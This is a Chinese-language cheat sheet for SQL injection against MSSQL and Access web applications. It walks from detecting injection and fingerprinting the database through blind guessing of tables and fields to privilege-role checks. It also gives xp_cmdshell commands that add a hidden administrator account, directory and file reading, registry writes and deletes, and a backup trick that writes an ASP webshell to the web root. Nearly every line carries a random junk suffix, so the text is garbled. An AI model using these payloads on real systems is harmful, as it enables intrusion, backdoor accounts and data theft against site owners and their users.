1.判断是否有注入;and 1=1 ;and 1=2 tRBK1h
2.初步判断是否是mssql ;and user>0 .%Q Ea_\
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3.注入参数是字符'and [查询条件] and ''=' HYmUxheN2
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Y(Ezw !a
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5.判断数据库系统 ucP MT0k
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;and (select count(*) from sysobjects)>0 mssql HWOH8q{f!
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;and (select count(*) from msysobjects)>0 access m9cT}x&j
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 M?zAkHNS$
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 yvisoZX
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }l!_m.#e
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9.(1)猜字段的ascii值(access) Y{tuaBzD
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 C~V$G}mM
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(2)猜字段的ascii值(mssql) D +""o"%
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 VW`=9T5%@
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10.测试权限结构(mssql) !I_4GE,
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- B{ "<\g
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- c.v)M\:
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Q4q#/z
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- @CF4:NNHw
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 To6Rc;
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;and 1=(select IS_MEMBER('db_owner'));-- (Ln h> '2
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11.添加mssql和系统的帐户 >k|[U[@
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;exec master.dbo.sp_addlogin username;-- EA.U>5Fq
;exec master.dbo.sp_password null,username,password;-- 'zK*?= ^jk
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ( Iew%U
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;exec master.dbo.xp_cmdshell 'net user username password .~J^`/o
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- C.<4D1}P
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;exec master.dbo.xp_cmdshell 'net user username password /add';--
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- T*m21<
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12.(1)遍历目录 m='OnTeOE
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;create table dirs(paths varchar(100), id int) 5S LF1u;
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;insert dirs exec master.dbo.xp_dirtree 'c:\' zYgLGwi{
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;and (select top 1 paths from dirs)>0 K4BMa]/U
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _qV_(TpS+
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(2)遍历目录 6k2~j j1d
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- k4v[2y`
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1Q<a+
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 aC*J=_9o#
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 k.%F!sK
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /-T%yuU
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13.mssql中的存储过程 i>;G4
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xp_regenumvalues 注册表根键, 子键 |c)#zSv
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Nbr{)h
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xp_regread 根键,子键,键值名 &3rh{" ^9
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;exec xp_regread 4_$f"6
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ipsNiFv:
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xp_regwrite 根键,子键, 值名, 值类型, 值 K|iNEhuc
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 d/e9LK
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 "YivjHa7H
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xp_regdeletevalue 根键,子键,值名 yY}`G-)g~*
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 H=0Y4 T@)T
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T+I|2HYqOj
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14.mssql的backup创建webshell >d=k-d
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use model {9(N?\S1`a
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create table cmd(str image); E5B:79BGO
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insert into cmd(str) values (''); x,n;GR
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backup database model to disk='c:\l.asp'; wuPx6hCl
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15.mssql内置函数 6b@:La
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;and (select @@version)>0 获得Windows的版本号 j &~OR6
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3iDRt&y=.
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;and (select user_name())>0 爆当前系统的连接用户 C/)Xd^#
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;and (select db_name())>0 得到当前连接的数据库 \ZXH(N*>2t
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16.简洁的webshell nT:ZSJWM
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use model {@k5e)
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create table cmd(str image); ~i(X{^,3
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insert into cmd(str) values (''); S_WYU&8
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backup database model to disk='g:\wwwtest\l.asp';